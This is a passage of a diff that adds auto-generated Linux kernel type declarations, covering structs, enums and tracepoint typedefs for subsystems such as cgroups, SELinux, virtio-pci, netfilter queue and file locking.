trace_entry ent; + u32 __data_loc_name; + long unsigned int pfn; + const struct page *page; + long unsigned int count; + unsigned int align; + char __data[0]; +}; + +struct trace_event_data_offsets_cma_release { + u32 name; +}; + +struct trace_event_data_offsets_cma_alloc_start { + u32 name; +}; + +struct trace_event_data_offsets_cma_alloc_finish { + u32 name; +}; + +struct trace_event_data_offsets_cma_alloc_busy_retry { + u32 name; +}; + +typedef void (*btf_trace_cma_release)(void *, const char *, long unsigned int, const struct page *, long unsigned int); + +typedef void (*btf_trace_cma_alloc_start)(void *, const char *, long unsigned int, unsigned int); + +typedef void (*btf_trace_cma_alloc_finish)(void *, const char *, long unsigned int, const struct page *, long unsigned int, unsigned int, int); + +typedef void (*btf_trace_cma_alloc_busy_retry)(void *, const char *, long unsigned int, const struct page *, long unsigned int, unsigned int); + +struct signalfd_siginfo { + __u32 ssi_signo; + __s32 ssi_errno; + __s32 ssi_code; + __u32 ssi_pid; + __u32 ssi_uid; + __s32 ssi_fd; + __u32 ssi_tid; + __u32 ssi_band; + __u32 ssi_overrun; + __u32 ssi_trapno; + __s32 ssi_status; + __s32 ssi_int; + __u64 ssi_ptr; + __u64 ssi_utime; + __u64 ssi_stime; + __u64 ssi_addr; + __u16 ssi_addr_lsb; + __u16 __pad2; + __s32 ssi_syscall; + __u64 ssi_call_addr; + __u32 ssi_arch; + __u8 __pad[28]; +}; + +struct signalfd_ctx { + sigset_t sigmask; +}; + +struct proc_maps_private { + struct inode *inode; + struct task_struct *task; + struct mm_struct *mm; + struct vma_iterator iter; + struct mempolicy *task_mempolicy; +}; + +struct mem_size_stats { + long unsigned int resident; + long unsigned int shared_clean; + long unsigned int shared_dirty; + long unsigned int private_clean; + long unsigned int private_dirty; + long unsigned int referenced; + long unsigned int anonymous; + long unsigned int lazyfree; + long unsigned int anonymous_thp; + long unsigned int shmem_thp; + long unsigned int file_thp; + long unsigned int swap; + long unsigned int shared_hugetlb; + long unsigned int private_hugetlb; + u64 pss; + u64 pss_anon; + u64 pss_file; + u64 pss_shmem; + u64 pss_dirty; + u64 pss_locked; + u64 swap_pss; +}; + +enum clear_refs_types { + CLEAR_REFS_ALL = 1, + CLEAR_REFS_ANON = 2, + CLEAR_REFS_MAPPED = 3, + CLEAR_REFS_SOFT_DIRTY = 4, + CLEAR_REFS_MM_HIWATER_RSS = 5, + CLEAR_REFS_LAST = 6, +}; + +struct clear_refs_private { + enum clear_refs_types type; +}; + +typedef struct { + u64 pme; +} pagemap_entry_t; + +struct pagemapread { + int pos; + int len; + pagemap_entry_t *buffer; + bool show_pfn; +}; + +struct numa_maps { + long unsigned int pages; + long unsigned int anon; + long unsigned int active; + long unsigned int writeback; + long unsigned int mapcount_max; + long unsigned int dirty; + long unsigned int swapcache; + long unsigned int node[64]; +}; + +struct numa_maps_private { + struct proc_maps_private proc_maps; + struct numa_maps md; +}; + +enum bio_post_read_step { + STEP_INITIAL = 0, + STEP_DECRYPT = 1, + STEP_VERITY = 2, + STEP_MAX = 3, +}; + +struct bio_post_read_ctx { + struct bio *bio; + struct work_struct work; + unsigned int cur_step; + unsigned int enabled_steps; +}; + +struct selinux_policy_convert_data; + +struct selinux_load_state { + struct selinux_policy *policy; + struct selinux_policy_convert_data *convert_data; +}; + +struct selinux_policy_convert_data { + struct convert_context_args args; + struct sidtab_convert_params sidtab_params; +}; + +struct extended_perms_decision { + u8 used; + u8 driver; + struct extended_perms_data *allowed; + struct extended_perms_data *auditallow; + struct extended_perms_data *dontaudit; +}; + +struct extended_perms { + u16 len; + struct extended_perms_data drivers; +}; + +struct perm_datum { + u32 value; +}; + +struct role_trans_key { + u32 role; + u32 type; + u32 tclass; +}; + +struct role_trans_datum { + u32 new_role; +}; + +struct filename_trans_key { + u32 ttype; + u16 tclass; + const char *name; +}; + +struct filename_trans_datum { + struct ebitmap stypes; + u32 otype; + struct filename_trans_datum *next; +}; + +struct cond_expr_node; + +struct cond_expr { + struct cond_expr_node *nodes; + u32 len; +}; + +struct cond_av_list { + struct avtab_node **nodes; + u32 len; +}; + +struct cond_node { + int cur_state; + struct cond_expr expr; + struct cond_av_list true_list; + struct cond_av_list false_list; +}; + +struct cond_expr_node { + u32 expr_type; + u32 bool; +}; + +struct selinux_audit_rule { + u32 au_seqno; + struct context___2 au_ctxt; +}; + +struct cryptomgr_param { + struct rtattr *tb[34]; + struct { + struct rtattr attr; + struct crypto_attr_type data; + } type; + struct { + struct rtattr attr; + struct crypto_attr_alg data; + } attrs[32]; + char template[128]; + struct crypto_larval *larval; + u32 otype; + u32 omask; +}; + +struct crypto_test_param { + char driver[128]; + char alg[128]; + u32 type; +}; + +struct rq_map_data { + struct page **pages; + long unsigned int offset; + short unsigned int page_order; + short unsigned int nr_entries; + bool null_mapped; + bool from_user; +}; + +struct bio_map_data { + bool is_our_pages: 1; + bool is_null_mapped: 1; + struct iov_iter iter; + struct iovec iov[0]; +}; + +struct region { + unsigned int start; + unsigned int off; + unsigned int group_len; + unsigned int end; + unsigned int nbits; +}; + +enum { + REG_OP_ISFREE = 0, + REG_OP_ALLOC = 1, + REG_OP_RELEASE = 2, +}; + +enum gcry_mpi_constants { + MPI_C_ZERO = 0, + MPI_C_ONE = 1, + MPI_C_TWO = 2, + MPI_C_THREE = 3, + MPI_C_FOUR = 4, + MPI_C_EIGHT = 5, +}; + +struct virtio_pci_common_cfg { + __le32 device_feature_select; + __le32 device_feature; + __le32 guest_feature_select; + __le32 guest_feature; + __le16 msix_config; + __le16 num_queues; + __u8 device_status; + __u8 config_generation; + __le16 queue_select; + __le16 queue_size; + __le16 queue_msix_vector; + __le16 queue_enable; + __le16 queue_notify_off; + __le32 queue_desc_lo; + __le32 queue_desc_hi; + __le32 queue_avail_lo; + __le32 queue_avail_hi; + __le32 queue_used_lo; + __le32 queue_used_hi; +}; + +struct virtio_pci_legacy_device { + struct pci_dev *pci_dev; + u8 *isr; + void *ioaddr; + struct virtio_device_id id; +}; + +struct virtio_pci_modern_device { + struct pci_dev *pci_dev; + struct virtio_pci_common_cfg *common; + void *device; + void *notify_base; + resource_size_t notify_pa; + u8 *isr; + size_t notify_len; + size_t device_len; + int notify_map_cap; + u32 notify_offset_multiplier; + int modern_bars; + struct virtio_device_id id; +}; + +struct virtio_pci_vq_info { + struct virtqueue *vq; + struct list_head node; + unsigned int msix_vector; +}; + +struct virtio_pci_device { + struct virtio_device vdev; + struct pci_dev *pci_dev; + struct virtio_pci_legacy_device ldev; + struct virtio_pci_modern_device mdev; + bool is_legacy; + u8 *isr; + spinlock_t lock; + struct list_head virtqueues; + struct virtio_pci_vq_info **vqs; + int msix_enabled; + int intx_enabled; + cpumask_var_t *msix_affinity_masks; + char (*msix_names)[256]; + unsigned int msix_vectors; + unsigned int msix_used_vectors; + bool per_vq_vectors; + struct virtqueue * (*setup_vq)(struct virtio_pci_device *, struct virtio_pci_vq_info *, unsigned int, void (*)(struct virtqueue *), const char *, bool, u16); + void (*del_vq)(struct virtio_pci_vq_info *); + u16 (*config_vector)(struct virtio_pci_device *, u16); +}; + +enum gpiod_flags { + GPIOD_ASIS = 0, + GPIOD_IN = 1, + GPIOD_OUT_LOW = 3, + GPIOD_OUT_HIGH = 7, + GPIOD_OUT_LOW_OPEN_DRAIN = 11, + GPIOD_OUT_HIGH_OPEN_DRAIN = 15, +}; + +struct uart_match { + struct uart_port *port; + struct uart_driver *driver; +}; + +struct tcpa_event { + u32 pcr_index; + u32 event_type; + u8 pcr_value[20]; + u32 event_size; + u8 event_data[0]; +}; + +struct tcpa_pc_event { + u32 event_id; + u32 event_size; + u8 event_data[0]; +}; + +enum tcpa_pc_event_ids { + SMBIOS = 1, + BIS_CERT = 2, + POST_BIOS_ROM = 3, + ESCD = 4, + CMOS = 5, + NVRAM = 6, + OPTION_ROM_EXEC = 7, + OPTION_ROM_CONFIG = 8, + OPTION_ROM_MICROCODE = 10, + S_CRTM_VERSION = 11, + S_CRTM_CONTENTS = 12, + POST_CONTENTS = 13, + HOST_TABLE_OF_DEVICES = 14, +}; + +struct dmi_device_attribute { + struct device_attribute dev_attr; + int field; +}; + +struct mafield { + const char *prefix; + int field; +}; + +struct hid_debug_list { + struct { + union { + struct __kfifo kfifo; + char *type; + const char *const_type; + char (*rectype)[0]; + char *ptr; + const char *ptr_const; + }; + char buf[0]; + } hid_debug_fifo; + struct fasync_struct *fasync; + struct hid_device *hdev; + struct list_head node; + struct mutex read_mutex; +}; + +struct hid_usage_entry { + unsigned int page; + unsigned int usage; + const char *description; +}; + +struct bpf_dummy_ops_state { + int val; +}; + +typedef int (*dummy_ops_test_ret_fn)(struct bpf_dummy_ops_state *, ...); + +struct bpf_dummy_ops_test_args { + u64 args[12]; + struct bpf_dummy_ops_state state; +}; + +enum nfqnl_msg_types { + NFQNL_MSG_PACKET = 0, + NFQNL_MSG_VERDICT = 1, + NFQNL_MSG_CONFIG = 2, + NFQNL_MSG_VERDICT_BATCH = 3, + NFQNL_MSG_MAX = 4, +}; + +struct nfqnl_msg_packet_hdr { + __be32 packet_id; + __be16 hw_protocol; + __u8 hook; +} __attribute__((packed)); + +struct nfqnl_msg_packet_hw { + __be16 hw_addrlen; + __u16 _pad; + __u8 hw_addr[8]; +}; + +struct nfqnl_msg_packet_timestamp { + __be64 sec; + __be64 usec; +}; + +enum nfqnl_vlan_attr { + NFQA_VLAN_UNSPEC = 0, + NFQA_VLAN_PROTO = 1, + NFQA_VLAN_TCI = 2, + __NFQA_VLAN_MAX = 3, +}; + +enum nfqnl_attr_type { + NFQA_UNSPEC = 0, + NFQA_PACKET_HDR = 1, + NFQA_VERDICT_HDR = 2, + NFQA_MARK = 3, + NFQA_TIMESTAMP = 4, + NFQA_IFINDEX_INDEV = 5, + NFQA_IFINDEX_OUTDEV = 6, + NFQA_IFINDEX_PHYSINDEV = 7, + NFQA_IFINDEX_PHYSOUTDEV = 8, + NFQA_HWADDR = 9, + NFQA_PAYLOAD = 10, + NFQA_CT = 11, + NFQA_CT_INFO = 12, + NFQA_CAP_LEN = 13, + NFQA_SKB_INFO = 14, + NFQA_EXP = 15, + NFQA_UID = 16, + NFQA_GID = 17, + NFQA_SECCTX = 18, + NFQA_VLAN = 19, + NFQA_L2HDR = 20, + NFQA_PRIORITY = 21, + NFQA_CGROUP_CLASSID = 22, + __NFQA_MAX = 23, +}; + +struct nfqnl_msg_verdict_hdr { + __be32 verdict; + __be32 id; +}; + +enum nfqnl_msg_config_cmds { + NFQNL_CFG_CMD_NONE = 0, + NFQNL_CFG_CMD_BIND = 1, + NFQNL_CFG_CMD_UNBIND = 2, + NFQNL_CFG_CMD_PF_BIND = 3, + NFQNL_CFG_CMD_PF_UNBIND = 4, +}; + +struct nfqnl_msg_config_cmd { + __u8 command; + __u8 _pad; + __be16 pf; +}; + +enum nfqnl_config_mode { + NFQNL_COPY_NONE = 0, + NFQNL_COPY_META = 1, + NFQNL_COPY_PACKET = 2, +}; + +struct nfqnl_msg_config_params { + __be32 copy_range; + __u8 copy_mode; +} __attribute__((packed)); + +enum nfqnl_attr_config { + NFQA_CFG_UNSPEC = 0, + NFQA_CFG_CMD = 1, + NFQA_CFG_PARAMS = 2, + NFQA_CFG_QUEUE_MAXLEN = 3, + NFQA_CFG_MASK = 4, + NFQA_CFG_FLAGS = 5, + __NFQA_CFG_MAX = 6, +}; + +struct nfqnl_instance { + struct hlist_node hlist; + struct callback_head rcu; + u32 peer_portid; + unsigned int queue_maxlen; + unsigned int copy_range; + unsigned int queue_dropped; + unsigned int queue_user_dropped; + u_int16_t queue_num; + u_int8_t copy_mode; + u_int32_t flags; + spinlock_t lock; + unsigned int queue_total; + unsigned int id_sequence; + struct list_head queue_list; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +typedef int (*nfqnl_cmpfn)(struct nf_queue_entry *, long unsigned int); + +struct nfnl_queue_net { + spinlock_t instances_lock; + struct hlist_head instance_table[16]; +}; + +struct iter_state { + struct seq_net_private p; + unsigned int bucket; +}; + +struct hop_jumbo_hdr { + u8 nexthdr; + u8 hdrlen; + u8 tlv_type; + u8 tlv_len; + __be32 jumbo_payload_len; +}; + +struct ipv4_addr_key { + __be32 addr; + int vif; +}; + +struct inetpeer_addr { + union { + struct ipv4_addr_key a4; + struct in6_addr a6; + u32 key[4]; + }; + __u16 family; +}; + +struct inet_peer { + struct rb_node rb_node; + struct inetpeer_addr daddr; + u32 metrics[17]; + u32 rate_tokens; + u32 n_redirects; + long unsigned int rate_last; + union { + struct { + atomic_t rid; + }; + struct callback_head rcu; + }; + __u32 dtime; + refcount_t refcnt; +}; + +struct irq_info___2 { + u8 bus; + u8 devfn; + struct { + u8 link; + u16 bitmap; + } __attribute__((packed)) irq[4]; + u8 slot; + u8 rfu; +}; + +struct irq_routing_table { + u32 signature; + u16 version; + u16 size; + u8 rtr_bus; + u8 rtr_devfn; + u16 exclusive_irqs; + u16 rtr_vendor; + u16 rtr_device; + u32 miniport_data; + u8 rfu[11]; + u8 checksum; + struct irq_info___2 slots[0]; +}; + +struct irt_routing_table { + u32 signature; + u8 size; + u8 used; + u16 exclusive_irqs; + struct irq_info___2 slots[0]; +}; + +struct irq_router { + char *name; + u16 vendor; + u16 device; + int (*get)(struct pci_dev *, struct pci_dev *, int); + int (*set)(struct pci_dev *, struct pci_dev *, int, int); + int (*lvl)(struct pci_dev *, struct pci_dev *, int, int); +}; + +struct irq_router_handler { + u16 vendor; + int (*probe)(struct irq_router *, struct pci_dev *, u16); +}; + +struct trace_event_raw_emulate_vsyscall { + struct trace_entry ent; + int nr; + char __data[0]; +}; + +struct trace_event_data_offsets_emulate_vsyscall {}; + +typedef void (*btf_trace_emulate_vsyscall)(void *, int); + +enum { + EMULATE = 0, + XONLY = 1, + NONE___2 = 2, +}; + +struct mtrr_sentry { + __u64 base; + __u32 size; + __u32 type; +}; + +struct mtrr_gentry { + __u64 base; + __u32 size; + __u32 regnum; + __u32 type; + __u32 _pad; +}; + +struct kexec_file_ops; + +struct init_pgtable_data { + struct x86_mapping_info *info; + pgd_t *level4p; +}; + +struct trace_event_raw_irq_handler_entry { + struct trace_entry ent; + int irq; + u32 __data_loc_name; + char __data[0]; +}; + +struct trace_event_raw_irq_handler_exit { + struct trace_entry ent; + int irq; + int ret; + char __data[0]; +}; + +struct trace_event_raw_softirq { + struct trace_entry ent; + unsigned int vec; + char __data[0]; +}; + +struct trace_event_raw_tasklet { + struct trace_entry ent; + void *tasklet; + void *func; + char __data[0]; +}; + +struct trace_event_data_offsets_irq_handler_entry { + u32 name; +}; + +struct trace_event_data_offsets_irq_handler_exit {}; + +struct trace_event_data_offsets_softirq {}; + +struct trace_event_data_offsets_tasklet {}; + +typedef void (*btf_trace_irq_handler_entry)(void *, int, struct irqaction *); + +typedef void (*btf_trace_irq_handler_exit)(void *, int, struct irqaction *, int); + +typedef void (*btf_trace_softirq_entry)(void *, unsigned int); + +typedef void (*btf_trace_softirq_exit)(void *, unsigned int); + +typedef void (*btf_trace_softirq_raise)(void *, unsigned int); + +typedef void (*btf_trace_tasklet_entry)(void *, struct tasklet_struct *, void *); + +typedef void (*btf_trace_tasklet_exit)(void *, struct tasklet_struct *, void *); + +struct tasklet_head { + struct tasklet_struct *head; + struct tasklet_struct **tail; +}; + +struct pm_vt_switch { + struct list_head head; + struct device *dev; + bool required; +}; + +enum { + AFFINITY = 0, + AFFINITY_LIST = 1, + EFFECTIVE = 2, + EFFECTIVE_LIST = 3, +}; + +typedef bool (*stack_trace_consume_fn)(void *, long unsigned int); + +struct stacktrace_cookie { + long unsigned int *store; + unsigned int size; + unsigned int skip; + unsigned int len; +}; + +struct rtc_wkalrm { + unsigned char enabled; + unsigned char pending; + struct rtc_time time; +}; + +struct rtc_param { + __u64 param; + union { + __u64 uvalue; + __s64 svalue; + __u64 ptr; + }; + __u32 index; + __u32 __pad; +}; + +struct rtc_class_ops { + int (*ioctl)(struct device *, unsigned int, long unsigned int); + int (*read_time)(struct device *, struct rtc_time *); + int (*set_time)(struct device *, struct rtc_time *); + int (*read_alarm)(struct device *, struct rtc_wkalrm *); + int (*set_alarm)(struct device *, struct rtc_wkalrm *); + int (*proc)(struct device *, struct seq_file *); + int (*alarm_irq_enable)(struct device *, unsigned int); + int (*read_offset)(struct device *, long int *); + int (*set_offset)(struct device *, long int); + int (*param_get)(struct device *, struct rtc_param *); + int (*param_set)(struct device *, struct rtc_param *); +}; + +struct rtc_device; + +struct rtc_timer { + struct timerqueue_node node; + ktime_t period; + void (*func)(struct rtc_device *); + struct rtc_device *rtc; + int enabled; +}; + +struct rtc_device { + struct device dev; + struct module *owner; + int id; + const struct rtc_class_ops *ops; + struct mutex ops_lock; + struct cdev char_dev; + long unsigned int flags; + long unsigned int irq_data; + spinlock_t irq_lock; + wait_queue_head_t irq_queue; + struct fasync_struct *async_queue; + int irq_freq; + int max_user_freq; + struct timerqueue_head timerqueue; + struct rtc_timer aie_timer; + struct rtc_timer uie_rtctimer; + struct hrtimer pie_timer; + int pie_enabled; + struct work_struct irqwork; + long unsigned int set_offset_nsec; + long unsigned int features[1]; + time64_t range_min; + timeu64_t range_max; + time64_t start_secs; + time64_t offset_secs; + bool set_start_time; +}; + +struct trace_event_raw_alarmtimer_suspend { + struct trace_entry ent; + s64 expires; + unsigned char alarm_type; + char __data[0]; +}; + +struct trace_event_raw_alarm_class { + struct trace_entry ent; + void *alarm; + unsigned char alarm_type; + s64 expires; + s64 now; + char __data[0]; +}; + +struct trace_event_data_offsets_alarmtimer_suspend {}; + +struct trace_event_data_offsets_alarm_class {}; + +typedef void (*btf_trace_alarmtimer_suspend)(void *, ktime_t, int); + +typedef void (*btf_trace_alarmtimer_fired)(void *, struct alarm *, ktime_t); + +typedef void (*btf_trace_alarmtimer_start)(void *, struct alarm *, ktime_t); + +typedef void (*btf_trace_alarmtimer_cancel)(void *, struct alarm *, ktime_t); + +struct alarm_base { + spinlock_t lock; + struct timerqueue_head timerqueue; + ktime_t (*get_ktime)(); + void (*get_timespec)(struct timespec64 *); + clockid_t base_clockid; +}; + +enum { + CGRP_NOTIFY_ON_RELEASE = 0, + CGRP_CPUSET_CLONE_CHILDREN = 1, + CGRP_FREEZE = 2, + CGRP_FROZEN = 3, + CGRP_KILL = 4, +}; + +struct cgroup_fs_context { + struct kernfs_fs_context kfc; + struct cgroup_root *root; + struct cgroup_namespace *ns; + unsigned int flags; + bool cpuset_clone_children; + bool none; + bool all_ss; + u16 subsys_mask; + char *name; + char *release_agent; +}; + +struct cgroup_pidlist; + +struct cgroup_file_ctx { + struct cgroup_namespace *ns; + struct { + void *trigger; + } psi; + struct { + bool started; + struct css_task_iter iter; + } procs; + struct { + struct cgroup_pidlist *pidlist; + } procs1; +}; + +struct cgrp_cset_link { + struct cgroup *cgrp; + struct css_set *cset; + struct list_head cset_link; + struct list_head cgrp_link; +}; + +struct cgroup_mgctx { + struct list_head preloaded_src_csets; + struct list_head preloaded_dst_csets; + struct cgroup_taskset tset; + u16 ss_mask; +}; + +struct trace_event_raw_cgroup_root { + struct trace_entry ent; + int root; + u16 ss_mask; + u32 __data_loc_name; + char __data[0]; +}; + +struct trace_event_raw_cgroup { + struct trace_entry ent; + int root; + int level; + u64 id; + u32 __data_loc_path; + char __data[0]; +}; + +struct trace_event_raw_cgroup_migrate { + struct trace_entry ent; + int dst_root; + int dst_level; + u64 dst_id; + int pid; + u32 __data_loc_dst_path; + u32 __data_loc_comm; + char __data[0]; +}; + +struct trace_event_raw_cgroup_event { + struct trace_entry ent; + int root; + int level; + u64 id; + u32 __data_loc_path; + int val; + char __data[0]; +}; + +struct trace_event_data_offsets_cgroup_root { + u32 name; +}; + +struct trace_event_data_offsets_cgroup { + u32 path; +}; + +struct trace_event_data_offsets_cgroup_migrate { + u32 dst_path; + u32 comm; +}; + +struct trace_event_data_offsets_cgroup_event { + u32 path; +}; + +typedef void (*btf_trace_cgroup_setup_root)(void *, struct cgroup_root *); + +typedef void (*btf_trace_cgroup_destroy_root)(void *, struct cgroup_root *); + +typedef void (*btf_trace_cgroup_remount)(void *, struct cgroup_root *); + +typedef void (*btf_trace_cgroup_mkdir)(void *, struct cgroup *, const char *); + +typedef void (*btf_trace_cgroup_rmdir)(void *, struct cgroup *, const char *); + +typedef void (*btf_trace_cgroup_release)(void *, struct cgroup *, const char *); + +typedef void (*btf_trace_cgroup_rename)(void *, struct cgroup *, const char *); + +typedef void (*btf_trace_cgroup_freeze)(void *, struct cgroup *, const char *); + +typedef void (*btf_trace_cgroup_unfreeze)(void *, struct cgroup *, const char *); + +typedef void (*btf_trace_cgroup_attach_task)(void *, struct cgroup *, const char *, struct task_struct *, bool); + +typedef void (*btf_trace_cgroup_transfer_tasks)(void *, struct cgroup *, const char *, struct task_struct *, bool); + +typedef void (*btf_trace_cgroup_notify_populated)(void *, struct cgroup *, const char *, int); + +typedef void (*btf_trace_cgroup_notify_frozen)(void *, struct cgroup *, const char *, int); + +enum cgroup_opt_features { + OPT_FEATURE_COUNT = 0, +}; + +enum cgroup2_param { + Opt_nsdelegate = 0, + Opt_favordynmods = 1, + Opt_memory_localevents = 2, + Opt_memory_recursiveprot = 3, + nr__cgroup2_params = 4, +}; + +struct flock { + short int l_type; + short int l_whence; + __kernel_off_t l_start; + __kernel_off_t l_len; + __kernel_pid_t l_pid; +}; + +struct flock64 { + short int l_type; + short int l_whence; + __kernel_loff_t l_start; + __kernel_loff_t l_len; + __kernel_pid_t l_pid; +}; + +struct trace_event_raw_locks_get_lock_context { + struct trace_entry ent; + long unsigned int i_ino; + dev_t s_dev; + unsigned char type; + struct file_lock_context *ctx; + char __data[0]; +}; + +struct trace_event_raw_filelock_lock { + struct trace_entry ent; + struct file_lock *fl; + long unsigned int i_ino; + dev_t s_dev; + struct file_lock *fl_blocker; + fl_owner_t fl_owner; + unsigned int fl_pid; + unsigned int fl_flags; + unsigned char fl_type; + loff_t fl_start; + loff_t fl_end; + int ret; + char __data[0]; +}; + +struct trace_event_raw_filelock_lease { + struct trace_entry ent; + struct file_lock *fl; + long unsigned int i_ino; + dev_t s_dev; + struct file_lock *fl_blocker; + fl_owner_t fl_owner; + unsigned int fl_flags; + unsigned char fl_type; + long unsigned int fl_break_time; + long unsigned int fl_downgrade_time; + char __data[0]; +}; + +struct trace_event_raw_generic_add_lease { + struct trace_entry ent; + long unsigned int i_ino; + int wcount; + int rcount; + int icount; + dev_t s_dev; + fl_owner_t fl_owner; + unsigned int fl_flags; + unsigned char fl_type; + char __data[0]; +}; + +struct trace_event_raw_leases_conflict { + struct trace_entry ent; + void *lease; + void *breaker; + unsigned int l_fl_flags; + unsigned int b_fl_flags; + unsigned char l_fl_type; + unsigned char b_fl_type; + bool conflict; + char __data[0]; +}; + +struct trace_event_data_offsets_locks_get_lock_context {}; + +struct trace_event_data_offsets_filelock_lock {}; + +struct trace_event_data_offsets_filelock_lease {}; + +struct trace_event_data_offsets_generic_add_lease {}; + +struct trace_event_data_offsets_leases_conflict {}; + +typedef void (*btf_trace_locks_get_lock_context)(void *, struct inode *, int, struct file_lock_context *); + +typedef void (*btf_trace_posix_lock_inode)(void *, struct inode *, struct file_lock *, int); + +typedef void (*btf_trace_fcntl_setlk)(void *, struct inode *, struct file_lock *, int); + +typedef void (*btf_trace_locks_remove_posix)(void *, struct inode *, struct file_lock *, int); + +typedef void (*btf_trace_flock_lock_inode)(void *, struct inode *, struct file_lock *, int); + +typedef void (*btf_trace_break_lease_noblock)(void *, struct inode *, struct file_lock *); + +typedef void (*btf_trace_break_lease_block)(void *, struct inode *, struct file_lock *); + +typedef void (*btf_trace_break_lease_unblock)(void *, struct inode *, struct file_lock *); + +typedef void (*btf_trace_generic_delete_lease)(void *, struct inode *, struct file_lock *); + +typedef void (*btf_trace_time_out_leases)(void *, struct inode *, struct file_lock *); + +typedef void (*btf_trace_generic_add_lease)(void *, struct inode *, struct file_lock *); + +typedef void (*btf_trace_leases_conflict)(void *, bool, struct file_lock *, struct file_lock *); + +struct file_lock_list_struct { + spinlock_t lock; + struct hlist_head hlist; +}; + +struct locks_iterator { + int li_cpu; + loff_t li_pos; +}; + +enum netfs_read_trace { + netfs_read_trace_expanded = 0, + netfs_read_trace_readahead = 1, + netfs_read_trace_readpage = 2, + netfs_read_trace_write_begin = 3, +} __attribute__((mode(byte))); + +enum netfs_failure { + netfs_fail_check_write_begin = 0, + netfs_fail_copy_to_cache = 1, + netfs_fail_read = 2, + netfs_fail_short_read = 3, + netfs_fail_prepare_write = 4, +} __attribute__((mode(byte))); + +struct netnode_security_struct { + union { + __be32 ipv4; + struct in6_addr ipv6; + } addr; + u32 sid; + u16 family; +}; + +struct sel_netnode_bkt { + unsigned int size; + struct list_head list; +}; + +struct sel_netnode { + struct netnode_security_struct nsec; + struct list_head list; + struct callback_head rcu; +}; + +struct rsa_asn1_template { + const char *name; + const u8 *data; + size_t size; +}; + +struct pkcs1pad_ctx { + struct crypto_akcipher *child; + unsigned int key_size; +}; + +struct pkcs1pad_inst_ctx { + struct crypto_akcipher_spawn spawn; + const struct rsa_asn1_template *digest_info; +}; + +struct pkcs1pad_request { + struct scatterlist in_sg[2]; + struct scatterlist out_sg[1]; + uint8_t *in_buf; + uint8_t *out_buf; + struct akcipher_request child_req; +}; + +struct req_iterator { + struct bvec_iter iter; + struct bio *bio; +}; + +enum bio_merge_status { + BIO_MERGE_OK = 0, + BIO_MERGE_NONE = 1, + BIO_MERGE_FAILED = 2, +}; + +enum dd_data_dir { + DD_READ = 0, + DD_WRITE = 1, +}; + +enum { + DD_DIR_COUNT = 2, +}; + +enum dd_prio { + DD_RT_PRIO = 0, + DD_BE_PRIO = 1, + DD_IDLE_PRIO = 2, + DD_PRIO_MAX = 2, +}; + +enum { + DD_PRIO_COUNT = 3, +}; + +struct io_stats_per_prio { + uint32_t inserted; + uint32_t merged; + uint32_t dispatched; + atomic_t completed; +}; + +struct dd_per_prio { + struct list_head dispatch; + struct rb_root sort_list[2]; + struct list_head fifo_list[2]; + struct request *next_rq[2]; + struct io_stats_per_prio stats; +}; + +struct deadline_data { + struct dd_per_prio per_prio[3]; + enum dd_data_dir last_dir; + unsigned int batching; + unsigned int starved; + int fifo_expire[2]; + int fifo_batch; + int writes_starved; + int front_merges; + u32 async_depth; + int prio_aging_expire; + spinlock_t lock; + spinlock_t zone_lock; +}; + +enum { + IORING_CQE_BUFFER_SHIFT = 16, +}; + +enum { + IOU_PBUF_RING_MMAP = 1, +}; + +struct io_uring_buf_reg { + __u64 ring_addr; + __u32 ring_entries; + __u16 bgid; + __u16 flags; + __u64 resv[3]; +}; + +struct io_provide_buf { + struct file *file; + __u64 addr; + __u32 len; + __u32 bgid; + __u16 nbufs; + __u16 bid; +}; + +typedef uint8_t U8; + +struct msr { + union { + struct { + u32 l; + u32 h; + }; + u64 q; + }; +}; + +struct msr_info { + u32 msr_no; + struct msr reg; + struct msr *msrs; + int err; +}; + +struct msr_regs_info { + u32 *regs; + int err; +}; + +struct msr_info_completion { + struct msr_info msr; + struct completion done; +}; + +struct hpx_type0 { + u32 revision; + u8 cache_line_size; + u8 latency_timer; + u8 enable_serr; + u8 enable_perr; +}; + +struct hpx_type1 { + u32 revision; + u8 max_mem_read; + u8 avg_max_split; + u16 tot_max_split; +}; + +struct hpx_type2 { + u32 revision; + u32 unc_err_mask_and; + u32 unc_err_mask_or; + u32 unc_err_sever_and; + u32 unc_err_sever_or; + u32 cor_err_mask_and; + u32 cor_err_mask_or; + u32 adv_err_cap_and; + u32 adv_err_cap_or; + u16 pci_exp_devctl_and; + u16 pci_exp_devctl_or; + u16 pci_exp_lnkctl_and; + u16 pci_exp_lnkctl_or; + u32 sec_unc_err_sever_and; + u32 sec_unc_err_sever_or; + u32 sec_unc_err_mask_and; + u32 sec_unc_err_mask_or; +}; + +struct hpx_type3 { + u16 device_type; + u16 function_type; + u16 config_space_location; + u16 pci_exp_cap_id; + u16 pci_exp_cap_ver; + u16 pci_exp_vendor_id; + u16 dvsec_id; + u16 dvsec_rev; + u16 match_offset; + u32 match_mask_and; + u32 match_value; + u16 reg_offset; + u32 reg_mask_and; + u32 reg_mask_or; +}; + +enum hpx_type3_dev_type { + HPX_TYPE_ENDPOINT = 1, + HPX_TYPE_LEG_END = 2, + HPX_TYPE_RC_END = 4, + HPX_TYPE_RC_EC = 8, + HPX_TYPE_ROOT_PORT = 16, + HPX_TYPE_UPSTREAM = 32, + HPX_TYPE_DOWNSTREAM = 64, + HPX_TYPE_PCI_BRIDGE = 128, + HPX_TYPE_PCIE_BRIDGE = 256, +}; + +enum hpx_type3_fn_type { + HPX_FN_NORMAL = 1, + HPX_FN_SRIOV_PHYS = 2, + HPX_FN_SRIOV_VIRT = 4, +}; + +enum hpx_type3_cfg_loc { + HPX_CFG_PCICFG = 0, + HPX_CFG_PCIE_CAP = 1, + HPX_CFG_PCIE_CAP_EXT = 2, + HPX_CFG_VEND_CAP = 3, + HPX_CFG_DVSEC = 4, + HPX_CFG_MAX = 5, +}; + +struct acpi_create_field_info { + struct acpi_namespace_node *region_node; + struct acpi_namespace_node *field_node; + struct acpi_namespace_node *register_node; + struct acpi_namespace_node *data_register_node; + struct acpi_namespace_node *connection_node; + u8 *resource_buffer; + u32 bank_value; + u32 field_bit_position; + u32 field_bit_length; + u16 resource_length; + u16 pin_number_index; + u8 field_flags; + u8 attribute; + u8 field_type; + u8 access_length; +}; + +struct ldsem_waiter { + struct list_head list; + struct task_struct *task; +}; + +struct hsu_dma_slave { + struct device *dma_dev; + int chan_id; +}; + +struct hsu_dma; + +struct hsu_dma_chip { + struct device *dev; + int irq; + void *regs; + unsigned int length; + unsigned int offset; + struct hsu_dma *hsu; +}; + +struct mid8250; + +struct mid8250_board { + unsigned int flags; + long unsigned int freq; + 